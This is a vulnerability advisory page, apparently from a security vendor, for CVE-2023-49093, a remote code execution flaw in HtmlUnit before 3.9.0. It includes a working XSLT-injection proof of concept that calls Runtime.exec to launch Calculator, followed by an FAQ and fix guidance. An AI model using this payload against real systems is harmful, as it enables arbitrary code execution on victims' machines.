CVE-2023-49093

HtmlUnit vulnerable to Remote Code Execution (RCE) via XSTL

<dependency>
  <groupId>org.htmlunit</groupId>
  <artifactId>htmlunit</artifactId>
  <version>3.8.0</version>
</dependency>

WebClient webClient = new WebClient(BrowserVersion.INTERNET_EXPLORER);
HtmlPage page = webClient.getPage("http://127.0.0.1:8080/test.html");
System.out.println(page.asNormalizedText());

<script>
    var xslt = new ActiveXObject("Msxml2.XSLTemplate.6.0");
    var xslDoc = new ActiveXObject("Msxml2.FreeThreadedDOMDocument.6.0");
    var xslProc;
    xslDoc.async = false;
    xslDoc.loadXML(`<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
   <xsl:template match="/">
     <xsl:variable name="rtobject" select="rt:getRuntime()"/>
     <xsl:variable name="process" select="rt:exec($rtobject,'open -a Calculator')"/>
     <xsl:variable name="processString" select="ob:toString($process)"/>
     <span><xsl:value-of select="$processString"/></span>
   </xsl:template>
 </xsl:stylesheet>`)

    if (xslDoc.parseError.errorCode != 0) {
        var myErr = xslDoc.parseError;
        document.write("ParseError: "+myErr.reason);
    } else {
        xslt.stylesheet = xslDoc;
        var xmlDoc = new ActiveXObject("Msxml2.DOMDocument.6.0");
        xmlDoc.async = false;
        xmlDoc.loadXML("<s></s>");
        if (xmlDoc.parseError.errorCode != 0) {
            var myErr = xmlDoc.parseError;
            document.write("Document error: " + myErr.reason);
        } else {
            xslProc = xslt.createProcessor();
            xslProc.input = xmlDoc;
            xslProc.transform();
            document.write(xslProc.output);
        }
    }
</script>

Remote Code Execution

Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.

CVE-2023-49093 has a CVSS score of 9.8 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.9.0); upgrading removes the vulnerable code path.

Kodem intelligence

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1. What is CVE-2023-49093? CVE-2023-49093 is a critical-severity code injection vulnerability in org.htmlunit:htmlunit (maven), affecting versions < 3.9.0. It is fixed in 3.9.0. Untrusted input is evaluated as executable code within the application's runtime environment.
2. How severe is CVE-2023-49093? CVE-2023-49093 has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of org.htmlunit:htmlunit are affected by CVE-2023-49093? org.htmlunit:htmlunit (maven) versions < 3.9.0 is affected.
4. Is there a fix for CVE-2023-49093? Yes. CVE-2023-49093 is fixed in 3.9.0. Upgrade to this version or later.
5. Is CVE-2023-49093 exploitable, and should I be worried? Whether CVE-2023-49093 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2023-49093 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2023-49093? Upgrade org.htmlunit:htmlunit to 3.9.0 or later.

Other vulnerabilities in org.htmlunit:htmlunit